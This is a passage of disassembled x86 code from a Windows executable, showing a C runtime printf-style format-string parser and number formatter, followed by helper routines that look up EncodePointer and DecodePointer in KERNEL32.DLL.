		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_41157F:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		movsx	eax, dl		; jumptable 0041155D case 2
		sub	eax, 20h
		jz	short loc_4115C5
		sub	eax, 3
		jz	short loc_4115B9
		sub	eax, 8
		jz	short loc_4115B0
		dec	eax
		dec	eax
		jz	short loc_4115A7
		sub	eax, 3
		jnz	loc_411CD8	; default
		or	[ebp+1F8h+var_210], 8
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4115A7:				; CODE XREF: sub_4113BB+1D8j
		or	[ebp+1F8h+var_210], 4
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4115B0:				; CODE XREF: sub_4113BB+1D4j
		or	[ebp+1F8h+var_210], 1
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4115B9:				; CODE XREF: sub_4113BB+1CFj
		or	[ebp+1F8h+var_210], 80h
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4115C5:				; CODE XREF: sub_4113BB+1CAj
		or	[ebp+1F8h+var_210], 2
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4115CE:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		cmp	dl, 2Ah		; jumptable 0041155D case 3
		jnz	short loc_4115F3
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_238], edi
		jge	loc_411CD8	; default
		or	[ebp+1F8h+var_210], 4
		neg	[ebp+1F8h+var_238]
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4115F3:				; CODE XREF: sub_4113BB+216j
		mov	eax, [ebp+1F8h+var_238]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_238], eax
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411608:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		mov	[ebp+1F8h+var_218], esi	; jumptable 0041155D case 4
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411610:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		cmp	dl, 2Ah		; jumptable 0041155D case 5
		jnz	short loc_411632
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_218], edi
		jge	loc_411CD8	; default
		or	[ebp+1F8h+var_218], 0FFFFFFFFh
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411632:				; CODE XREF: sub_4113BB+258j
		mov	eax, [ebp+1F8h+var_218]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_218], eax
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411647:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		cmp	dl, 49h		; jumptable 0041155D case 6
		jz	short loc_411692
		cmp	dl, 68h
		jz	short loc_411689
		cmp	dl, 6Ch
		jz	short loc_41166B
		cmp	dl, 77h
		jnz	loc_411CD8	; default
		or	[ebp+1F8h+var_210], 800h
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_41166B:				; CODE XREF: sub_4113BB+299j
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_411680
		inc	ebx
		or	[ebp+1F8h+var_210], 1000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411680:				; CODE XREF: sub_4113BB+2B3j
		or	[ebp+1F8h+var_210], 10h
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411689:				; CODE XREF: sub_4113BB+294j
		or	[ebp+1F8h+var_210], 20h
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_411692:				; CODE XREF: sub_4113BB+28Fj
		mov	al, [ebx]
		cmp	al, 36h
		jnz	short loc_4116AF
		cmp	byte ptr [ebx+1], 34h
		jnz	short loc_4116AF
		inc	ebx
		inc	ebx
		or	[ebp+1F8h+var_210], 8000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4116AF:				; CODE XREF: sub_4113BB+2DBj
					; sub_4113BB+2E1j
		cmp	al, 33h
		jnz	short loc_4116CA
		cmp	byte ptr [ebx+1], 32h
		jnz	short loc_4116CA
		inc	ebx
		inc	ebx
		and	[ebp+1F8h+var_210], 0FFFF7FFFh
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_4116CA:				; CODE XREF: sub_4113BB+2F6j
					; sub_4113BB+2FCj
		cmp	al, 64h
		jz	loc_411CD8	; default
		cmp	al, 69h
		jz	loc_411CD8	; default
		cmp	al, 6Fh
		jz	loc_411CD8	; default
		cmp	al, 75h
		jz	loc_411CD8	; default
		cmp	al, 78h
		jz	loc_411CD8	; default
		cmp	al, 58h
		jz	loc_411CD8	; default
		mov	[ebp+1F8h+var_26C], esi


loc_4116FD:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		lea	eax, [ebp+1F8h+var_25C]	; jumptable 0041155D case 0
		push	eax
		movzx	eax, dl
		push	eax
		mov	[ebp+1F8h+var_23C], esi
		call	sub_413988
		pop	ecx
		test	eax, eax
		mov	al, [ebp+1F8h+var_211]
		pop	ecx
		jz	short loc_41172F
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_41131A
		mov	al, [ebx]
		inc	ebx
		test	al, al
		mov	[ebp+1F8h+var_240], ebx
		jz	loc_411CF1


loc_41172F:				; CODE XREF: sub_4113BB+359j
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_41131A
		jmp	loc_411CD8	; default
; ---------------------------------------------------------------------------


loc_41173F:				; CODE XREF: sub_4113BB+1A2j
					; DATA XREF: .vty:off_411D33o
		movsx	eax, dl		; jumptable 0041155D case 7
		cmp	eax, 64h
		jg	loc_4118BD
		jz	loc_41193C
		cmp	eax, 53h
		jg	loc_411805
		jz	short loc_4117B6
		sub	eax, 41h
		jz	short loc_411771
		dec	eax
		dec	eax
		jz	short loc_4117A5
		dec	eax
		dec	eax
		jz	short loc_411771
		dec	eax
		dec	eax
		jnz	loc_411BC0


loc_411771:				; CODE XREF: sub_4113BB+3A4j
					; sub_4113BB+3ACj
		add	dl, 20h
		mov	[ebp+1F8h+var_270], 1
		mov	[ebp+1F8h+var_211], dl


loc_41177E:				; CODE XREF: sub_4113BB+459j
					; sub_4113BB+51Dj
		or	[ebp+1F8h+var_210], 40h
		cmp	[ebp+1F8h+var_218], esi
		lea	ebx, [ebp+1F8h+var_20C]
		mov	eax, 200h
		mov	[ebp+1F8h+var_21C], ebx
		mov	[ebp+1F8h+var_260], eax
		jge	loc_411960
		mov	[ebp+1F8h+var_218], 6
		jmp	loc_4119AE
; ---------------------------------------------------------------------------


loc_4117A5:				; CODE XREF: sub_4113BB+3A8j
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_411822
		or	[ebp+1F8h+var_210], 800h
		jmp	short loc_411822
; ---------------------------------------------------------------------------


loc_4117B6:				; CODE XREF: sub_4113BB+39Fj
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_4117C5
		or	[ebp+1F8h+var_210], 800h


loc_4117C5:				; CODE XREF: sub_4113BB+401j
					; sub_4113BB+694j
		mov	ecx, [ebp+1F8h+var_218]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_4117D2
		mov	ecx, 7FFFFFFFh


loc_4117D2:				; CODE XREF: sub_4113BB+410j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		mov	[ebp+1F8h+var_21C], edi
		jz	loc_411B9E
		cmp	edi, esi
		jnz	short loc_4117F6
		mov	eax, off_4231B4
		mov	[ebp+1F8h+var_21C], eax


loc_4117F6:				; CODE XREF: sub_4113BB+431j
		mov	eax, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_411B93
; ---------------------------------------------------------------------------


loc_411805:				; CODE XREF: sub_4113BB+399j
		sub	eax, 58h
		jz	loc_411A47
		dec	eax
		dec	eax
		jz	short loc_41186F
		sub	eax, ecx
		jz	loc_41177E
		dec	eax
		dec	eax
		jnz	loc_411BC0


loc_411822:				; CODE XREF: sub_4113BB+3F0j
					; sub_4113BB+3F9j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_411857
		movzx	eax, word ptr [edi-4]
		push	eax
		push	200h
		lea	eax, [ebp+1F8h+var_20C]
		push	eax
		lea	eax, [ebp+1F8h+var_220]
		push	eax
		call	sub_417CA8
		add	esp, 10h
		test	eax, eax
		jz	short loc_411864
		mov	[ebp+1F8h+var_248], 1
		jmp	short loc_411864
; ---------------------------------------------------------------------------


loc_411857:				; CODE XREF: sub_4113BB+473j
		mov	al, [edi-4]
		mov	[ebp+1F8h+var_20C], al
		mov	[ebp+1F8h+var_220], 1


loc_411864:				; CODE XREF: sub_4113BB+491j
					; sub_4113BB+49Aj
		lea	eax, [ebp+1F8h+var_20C]
		mov	[ebp+1F8h+var_21C], eax
		jmp	loc_411BC0
; ---------------------------------------------------------------------------


loc_41186F:				; CODE XREF: sub_4113BB+455j
		mov	eax, [edi]
		add	edi, 4
		cmp	eax, esi
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_4118A9
		mov	ecx, [eax+4]
		cmp	ecx, esi
		jz	short loc_4118A9
		test	word ptr [ebp+1F8h+var_210], 800h
		movsx	eax, word ptr [eax]
		mov	[ebp+1F8h+var_21C], ecx
		jz	short loc_4118A1
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_411BBD
; ---------------------------------------------------------------------------


loc_4118A1:				; CODE XREF: sub_4113BB+4D3j
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_411BBD
; ---------------------------------------------------------------------------


loc_4118A9:				; CODE XREF: sub_4113BB+4BEj
					; sub_4113BB+4C5j
		mov	eax, off_4231B0
		mov	[ebp+1F8h+var_21C], eax
		push	eax


loc_4118B2:				; CODE XREF: sub_4113BB+680j
		call	sub_40D970
		pop	ecx
		jmp	loc_411BBD
; ---------------------------------------------------------------------------


loc_4118BD:				; CODE XREF: sub_4113BB+38Aj
		cmp	eax, 70h
		jg	loc_411A4C
		jz	loc_411A40
		cmp	eax, 65h
		jl	loc_411BC0
		cmp	eax, 67h
		jle	loc_41177E
		cmp	eax, 69h
		jz	short loc_41193C
		cmp	eax, 6Eh
		jz	short loc_411907
		cmp	eax, 6Fh
		jnz	loc_411BC0
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 8
		jz	short loc_411947
		or	[ebp+1F8h+var_210], 200h
		jmp	short loc_411947
; ---------------------------------------------------------------------------


loc_411907:				; CODE XREF: sub_4113BB+52Bj
		mov	esi, [edi]
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		call	sub_417B33
		test	eax, eax
		jz	loc_411CF1
		test	byte ptr [ebp+1F8h+var_210], 20h
		jz	short loc_41192B
		mov	ax, word ptr [ebp+1F8h+var_22C]
		mov	[esi], ax
		jmp	short loc_411930
; ---------------------------------------------------------------------------


loc_41192B:				; CODE XREF: sub_4113BB+565j
		mov	eax, [ebp+1F8h+var_22C]
		mov	[esi], eax


loc_411930:				; CODE XREF: sub_4113BB+56Ej
		mov	[ebp+1F8h+var_248], 1
		jmp	loc_411CC5
; ---------------------------------------------------------------------------


loc_41193C:				; CODE XREF: sub_4113BB+390j
					; sub_4113BB+526j
		or	[ebp+1F8h+var_210], 40h


loc_411940:				; CODE XREF: sub_4113BB+69Cj
		mov	[ebp+1F8h+var_220], 0Ah


loc_411947:				; CODE XREF: sub_4113BB+541j
					; sub_4113BB+54Aj ...
		mov	ecx, [ebp+1F8h+var_210]
		test	cx, cx
		jns	loc_411A96


loc_411953:				; CODE XREF: sub_4113BB+6E0j
		mov	eax, [edi]
		mov	edx, [edi+4]
		add	edi, 8
		jmp	loc_411ACB
; ---------------------------------------------------------------------------


loc_411960:				; CODE XREF: sub_4113BB+3D8j
		jnz	short loc_411970
		cmp	dl, 67h
		jnz	short loc_4119AE
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_4119AE
; ---------------------------------------------------------------------------


loc_411970:				; CODE XREF: sub_4113BB:loc_411960j
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_411978
		mov	[ebp+1F8h+var_218], eax


loc_411978:				; CODE XREF: sub_4113BB+5B8j
		cmp	[ebp+1F8h+var_218], 0A3h
		jle	short loc_4119AE
		mov	esi, [ebp+1F8h+var_218]
		add	esi, 15Dh
		push	esi
		call	sub_412323
		test	eax, eax
		mov	dl, [ebp+1F8h+var_211]
		pop	ecx
		mov	[ebp+1F8h+var_24C], eax
		jz	short loc_4119A5
		mov	[ebp+1F8h+var_21C], eax
		mov	[ebp+1F8h+var_260], esi
		mov	ebx, eax
		jmp	short loc_4119AC
; ---------------------------------------------------------------------------


loc_4119A5:				; CODE XREF: sub_4113BB+5DEj
		mov	[ebp+1F8h+var_218], 0A3h


loc_4119AC:				; CODE XREF: sub_4113BB+5E8j
		xor	esi, esi


loc_4119AE:				; CODE XREF: sub_4113BB+3E5j
					; sub_4113BB+5AAj ...
		mov	eax, [edi]
		add	edi, 8
		mov	[ebp+1F8h+var_278], eax
		mov	eax, [edi-4]
		mov	[ebp+1F8h+var_274], eax
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	[ebp+1F8h+var_270]
		movsx	eax, dl
		push	[ebp+1F8h+var_218]
		mov	[ebp+1F8h+var_224], edi
		push	eax
		push	[ebp+1F8h+var_260]
		lea	eax, [ebp+1F8h+var_278]
		push	ebx
		push	eax
		push	off_423DF8
		call	sub_411DBF
		pop	ecx
		call	eax
		mov	edi, [ebp+1F8h+var_210]
		add	esp, 1Ch
		and	edi, 80h
		jz	short loc_411A0B
		cmp	[ebp+1F8h+var_218], esi
		jnz	short loc_411A0B
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423E04
		call	sub_411DBF
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx


loc_411A0B:				; CODE XREF: sub_4113BB+634j
					; sub_4113BB+639j
		cmp	[ebp+1F8h+var_211], 67h
		jnz	short loc_411A2A
		cmp	edi, esi
		jnz	short loc_411A2A
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423E00
		call	sub_411DBF
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx


loc_411A2A:				; CODE XREF: sub_4113BB+654j
					; sub_4113BB+658j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_411A3A
		or	[ebp+1F8h+var_210], 100h
		inc	ebx
		mov	[ebp+1F8h+var_21C], ebx


loc_411A3A:				; CODE XREF: sub_4113BB+672j
		push	ebx
		jmp	loc_4118B2
; ---------------------------------------------------------------------------


loc_411A40:				; CODE XREF: sub_4113BB+50Bj
		mov	[ebp+1F8h+var_218], 8


loc_411A47:				; CODE XREF: sub_4113BB+44Dj
		mov	[ebp+1F8h+var_244], ecx
		jmp	short loc_411A6D
; ---------------------------------------------------------------------------


loc_411A4C:				; CODE XREF: sub_4113BB+505j
		sub	eax, 73h
		jz	loc_4117C5
		dec	eax
		dec	eax
		jz	loc_411940
		sub	eax, 3
		jnz	loc_411BC0
		mov	[ebp+1F8h+var_244], 27h


loc_411A6D:				; CODE XREF: sub_4113BB+68Fj
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 10h
		jz	loc_411947
		mov	al, byte ptr [ebp+1F8h+var_244]
		add	al, 51h
		mov	[ebp+1F8h+var_230], 30h
		mov	[ebp+1F8h+var_22F], al
		mov	[ebp+1F8h+var_234], 2
		jmp	loc_411947
; ---------------------------------------------------------------------------


loc_411A96:				; CODE XREF: sub_4113BB+592j
		test	cx, 1000h
		jnz	loc_411953
		add	edi, 4
		test	cl, 20h
		jz	short loc_411ABE
		test	cl, 40h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_411AB7
		movsx	eax, word ptr [edi-4]
		jmp	short loc_411ABB
; ---------------------------------------------------------------------------


loc_411AB7:				; CODE XREF: sub_4113BB+6F4j
		movzx	eax, word ptr [edi-4]


loc_411ABB:				; CODE XREF: sub_4113BB+6FAj
		cdq
		jmp	short loc_411ACE
; ---------------------------------------------------------------------------


loc_411ABE:				; CODE XREF: sub_4113BB+6ECj
		test	cl, 40h
		mov	eax, [edi-4]
		jz	short loc_411AC9
		cdq
		jmp	short loc_411ACB
; ---------------------------------------------------------------------------


loc_411AC9:				; CODE XREF: sub_4113BB+709j
		xor	edx, edx


loc_411ACB:				; CODE XREF: sub_4113BB+5A0j
					; sub_4113BB+70Cj
		mov	[ebp+1F8h+var_224], edi


loc_411ACE:				; CODE XREF: sub_4113BB+701j
		test	cl, 40h
		jz	short loc_411AEB
		cmp	edx, esi
		jg	short loc_411AEB
		jl	short loc_411ADD
		cmp	eax, esi
		jnb	short loc_411AEB


loc_411ADD:				; CODE XREF: sub_4113BB+71Cj
		neg	eax
		adc	edx, 0
		neg	edx
		or	[ebp+1F8h+var_210], 100h


loc_411AEB:				; CODE XREF: sub_4113BB+716j
					; sub_4113BB+71Aj ...
		test	word ptr [ebp+1F8h+var_210], 9000h
		mov	ebx, edx
		mov	edi, eax
		jnz	short loc_411AF9
		xor	ebx, ebx


loc_411AF9:				; CODE XREF: sub_4113BB+73Aj
		cmp	[ebp+1F8h+var_218], 0
		jge	short loc_411B08
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_411B19
; ---------------------------------------------------------------------------


loc_411B08:				; CODE XREF: sub_4113BB+742j
		and	[ebp+1F8h+var_210], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_411B19
		mov	[ebp+1F8h+var_218], eax


loc_411B19:				; CODE XREF: sub_4113BB+74Bj
					; sub_4113BB+759j
		mov	eax, edi
		or	eax, ebx
		jnz	short loc_411B23
		and	[ebp+1F8h+var_234], 0


loc_411B23:				; CODE XREF: sub_4113BB+762j
		lea	esi, [ebp+1F8h+var_D]


loc_411B29:				; CODE XREF: sub_4113BB+7A0j
		mov	eax, [ebp+1F8h+var_218]
		dec	[ebp+1F8h+var_218]
		test	eax, eax
		jg	short loc_411B39
		mov	eax, edi
		or	eax, ebx
		jz	short loc_411B5D


loc_411B39:				; CODE XREF: sub_4113BB+776j
		mov	eax, [ebp+1F8h+var_220]
		cdq
		push	edx
		push	eax
		push	ebx
		push	edi
		call	sub_417CD0
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+1F8h+var_260], ebx
		mov	edi, eax
		mov	ebx, edx
		jle	short loc_411B58
		add	ecx, [ebp+1F8h+var_244]


loc_411B58:				; CODE XREF: sub_4113BB+798j
		mov	[esi], cl
		dec	esi
		jmp	short loc_411B29
; ---------------------------------------------------------------------------


loc_411B5D:				; CODE XREF: sub_4113BB+77Cj
		lea	eax, [ebp+1F8h+var_D]
		sub	eax, esi
		inc	esi
		test	word ptr [ebp+1F8h+var_210], 200h
		mov	[ebp+1F8h+var_220], eax
		mov	[ebp+1F8h+var_21C], esi
		jz	short loc_411BC0
		test	eax, eax
		jz	short loc_411B7F
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jz	short loc_411BC0


loc_411B7F:				; CODE XREF: sub_4113BB+7BBj
		dec	[ebp+1F8h+var_21C]
		mov	ecx, [ebp+1F8h+var_21C]
		mov	byte ptr [ecx],	30h
		inc	eax
		jmp	short loc_411BBD
; ---------------------------------------------------------------------------


loc_411B8B:				; CODE XREF: sub_4113BB+7DAj
		dec	ecx
		cmp	[eax], si
		jz	short loc_411B97
		inc	eax
		inc	eax


loc_411B93:				; CODE XREF: sub_4113BB+445j
		cmp	ecx, esi
		jnz	short loc_411B8B


loc_411B97:				; CODE XREF: sub_4113BB+7D4j
		sub	eax, [ebp+1F8h+var_21C]
		sar	eax, 1
		jmp	short loc_411BBD
; ---------------------------------------------------------------------------


loc_411B9E:				; CODE XREF: sub_4113BB+429j
		cmp	edi, esi
		jnz	short loc_411BAA
		mov	eax, off_4231B0
		mov	[ebp+1F8h+var_21C], eax


loc_411BAA:				; CODE XREF: sub_4113BB+7E5j
		mov	eax, [ebp+1F8h+var_21C]
		jmp	short loc_411BB6
; ---------------------------------------------------------------------------


loc_411BAF:				; CODE XREF: sub_4113BB+7FDj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_411BBA
		inc	eax


loc_411BB6:				; CODE XREF: sub_4113BB+7F2j
		cmp	ecx, esi
		jnz	short loc_411BAF


loc_411BBA:				; CODE XREF: sub_4113BB+7F8j
		sub	eax, [ebp+1F8h+var_21C]


loc_411BBD:				; CODE XREF: sub_4113BB+4E1j
					; sub_4113BB+4E9j ...
		mov	[ebp+1F8h+var_220], eax


loc_411BC0:				; CODE XREF: sub_4113BB+3B0j
					; sub_4113BB+461j ...
		cmp	[ebp+1F8h+var_248], 0
		jnz	loc_411CC5
		mov	eax, [ebp+1F8h+var_210]
		test	al, 40h
		jz	short loc_411BF6
		test	ax, 100h
		jz	short loc_411BDD
		mov	[ebp+1F8h+var_230], 2Dh
		jmp	short loc_411BEF
; ---------------------------------------------------------------------------


loc_411BDD:				; CODE XREF: sub_4113BB+81Aj
		test	al, 1
		jz	short loc_411BE7
		mov	[ebp+1F8h+var_230], 2Bh
		jmp	short loc_411BEF
; ---------------------------------------------------------------------------


loc_411BE7:				; CODE XREF: sub_4113BB+824j
		test	al, 2
		jz	short loc_411BF6
		mov	[ebp+1F8h+var_230], 20h


loc_411BEF:				; CODE XREF: sub_4113BB+820j
					; sub_4113BB+82Aj
		mov	[ebp+1F8h+var_234], 1


loc_411BF6:				; CODE XREF: sub_4113BB+814j
					; sub_4113BB+82Ej
		mov	ebx, [ebp+1F8h+var_238]
		sub	ebx, [ebp+1F8h+var_220]
		sub	ebx, [ebp+1F8h+var_234]
		test	byte ptr [ebp+1F8h+var_210], 0Ch
		jnz	short loc_411C16
		push	[ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		push	ebx
		push	20h
		call	sub_41134D
		add	esp, 0Ch


loc_411C16:				; CODE XREF: sub_4113BB+848j
		push	[ebp+1F8h+var_234]
		mov	edi, [ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_230]
		call	sub_411371
		test	byte ptr [ebp+1F8h+var_210], 8
		pop	ecx
		jz	short loc_411C43
		test	byte ptr [ebp+1F8h+var_210], 4
		jnz	short loc_411C43
		push	edi
		push	ebx
		push	30h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_41134D
		add	esp, 0Ch


loc_411C43:				; CODE XREF: sub_4113BB+871j
					; sub_4113BB+877j
		cmp	[ebp+1F8h+var_23C], 0
		mov	eax, [ebp+1F8h+var_220]
		jz	short loc_411C9D
		test	eax, eax
		jle	short loc_411C9D
		mov	esi, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_260], eax


loc_411C56:				; CODE XREF: sub_4113BB+8D8j
		movzx	eax, word ptr [esi]
		dec	[ebp+1F8h+var_260]
		push	eax
		push	6
		lea	eax, [ebp+1F8h+var_C]
		push	eax
		lea	eax, [ebp+1F8h+var_268]
		inc	esi
		push	eax
		inc	esi
		call	sub_417CA8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411C97
		cmp	[ebp+1F8h+var_268], eax
		jz	short loc_411C97
		push	[ebp+1F8h+var_268]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_C]
		call	sub_411371
		cmp	[ebp+1F8h+var_260], 0
		pop	ecx
		jnz	short loc_411C56
		jmp	short loc_411CAA
; ---------------------------------------------------------------------------


loc_411C97:				; CODE XREF: sub_4113BB+8BBj
					; sub_4113BB+8C0j
		or	[ebp+1F8h+var_22C], 0FFFFFFFFh
		jmp	short loc_411CAA
; ---------------------------------------------------------------------------


loc_411C9D:				; CODE XREF: sub_4113BB+88Fj
					; sub_4113BB+893j
		mov	ecx, [ebp+1F8h+var_21C]
		push	eax
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_411371
		pop	ecx


loc_411CAA:				; CODE XREF: sub_4113BB+8DAj
					; sub_4113BB+8E0j
		cmp	[ebp+1F8h+var_22C], 0
		jl	short loc_411CC5
		test	byte ptr [ebp+1F8h+var_210], 4
		jz	short loc_411CC5
		push	edi
		push	ebx
		push	20h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_41134D
		add	esp, 0Ch


loc_411CC5:				; CODE XREF: sub_4113BB+57Cj
					; sub_4113BB+809j ...
		cmp	[ebp+1F8h+var_24C], 0
		jz	short loc_411CD8 ; default
		push	[ebp+1F8h+var_24C]
		call	sub_41112C
		and	[ebp+1F8h+var_24C], 0
		pop	ecx


loc_411CD8:				; CODE XREF: sub_4113BB+19Cj
					; sub_4113BB+1BFj ...
		mov	ebx, [ebp+1F8h+var_240]	; default
		mov	al, [ebx]
		test	al, al
		mov	[ebp+1F8h+var_211], al
		jz	short loc_411D08
		mov	ecx, [ebp+1F8h+var_26C]
		mov	edi, [ebp+1F8h+var_224]
		mov	dl, al
		jmp	loc_411519
; ---------------------------------------------------------------------------


loc_411CF1:				; CODE XREF: sub_4113BB+36Ej
					; sub_4113BB+55Bj
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	loc_41142B
; ---------------------------------------------------------------------------


loc_411D08:				; CODE XREF: sub_4113BB+158j
					; sub_4113BB+166j ...
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_411D15
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_411D15:				; CODE XREF: sub_4113BB+951j
		mov	eax, [ebp+1F8h+var_22C]


loc_411D18:				; CODE XREF: sub_4113BB+88j
		mov	ecx, [ebp+1F8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_410BCD
		add	ebp, 1F8h
		leave
		retn
sub_4113BB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_411D33	dd offset loc_4116FD	; DATA XREF: sub_4113BB+1A2r
		dd offset loc_411564	; jump table for switch	statement
		dd offset loc_41157F
		dd offset loc_4115CE
		dd offset loc_411608
		dd offset loc_411610
		dd offset loc_411647
		dd offset loc_41173F

; =============== S U B	R O U T	I N E =======================================



sub_411D53	proc near		; CODE XREF: sub_40DAA8+81p
					; sub_40DAA8+96p ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_4231BC
		mov	esi, dword_41C140
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_411D87
		mov	eax, dword_4231B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D87
		push	eax
		push	dword_4231BC
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_411D87
		mov	eax, [eax+1F8h]
		jmp	short loc_411DA2
; ---------------------------------------------------------------------------


loc_411D87:				; CODE XREF: sub_411D53+11j
					; sub_411D53+1Bj ...
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	dword_41C0C4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_411DB0
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		call	dword_41C0AC	; GetProcAddress


loc_411DA2:				; CODE XREF: sub_411D53+32j
		test	eax, eax
		jz	short loc_411DB0
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax


loc_411DB0:				; CODE XREF: sub_411D53+41j
					; sub_411D53+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_411D53	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DB6	proc near		; CODE XREF: sub_412755+1p
					; sub_416504+2Fp ...
		push	0
		call	sub_411D53
		pop	ecx
		retn
sub_411DB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DBF	proc near		; CODE XREF: sub_40DAA8+Bp
					; sub_40DAA8+1Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_4231BC
		mov	esi, dword_41C140
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_411DF3
		mov	eax, dword_4231B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DF3
		push	eax
		push	dword_4231BC
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_411DF3
		mov	eax, [eax+1FCh]
		jmp	short loc_411E0E
; ---------------------------------------------------------------------------


loc_411DF3:				; CODE XREF: sub_411DBF+11j
					; sub_411DBF+1Bj ...
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	dword_41C0C4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_411E1C
		push	offset aDecodepointer ;	"DecodePointer"
		push	eax
		call	dword_41C0AC	; GetProcAddress


loc_411E0E:				; CODE XREF: sub_411DBF+32j
		test	eax, eax
		jz	short loc_411E1C
